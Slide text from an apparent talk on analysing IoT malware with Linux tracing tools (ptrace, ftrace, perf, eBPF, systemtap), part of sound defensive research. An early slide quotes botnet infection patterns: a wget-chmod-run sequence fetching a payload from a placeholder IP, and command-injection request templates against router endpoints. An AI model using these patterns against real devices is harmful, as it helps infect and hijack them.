Inspect IoT malware

Intro to Linux tracing and behavioral analysis

```
$ whoami
danieluhricek (Avast, CTU)
```

IoT

command injection

```
wget http://<ip>/<payload>
chmod +x <payload>
./<payload>
```

```
POST /ctrlt/DeviceUpgrade_1
<?xml version=”1.0” ?>
.
.
<NewStatusUrl>
$(<command>)
</NewStatusUrl>
.
.
```

```
GET /language/Swedish${IFS}&&<command>
```

```
GET /shell?<command>
```

skid botnets

dynamic analysis

debugging

ptrace

PTRACE_ATTACH
PTRACE_CONT
PTRACE_GETREGS
PTRACE_POKEDATA
PTRACE_SINGLESTEP
PTRACE_SYSCALL
.
.
.

kernel tracing

> tracepoints
> kprobes
> PMC

ftrace

trace-cmd

```
trace-cmd show
          start -p <function>
          record
          report
          .
          .
          .
```

perf trace

as an alternative to strace

eBPF

eBPF

> bytecode
> bcc
> bpftrace

systemtap

```
probe syscall.*
{
  printf(“%s: %s\n”, name, argstr)
}
```

```
probe signal.handle
{
  printf(“%d: %s\n”, sig, sig_name)
}
```

```
probe syscall.ptrace
{
  $request=0xbeef
}
```

automated analysis

environment

usecases | workflow

questions?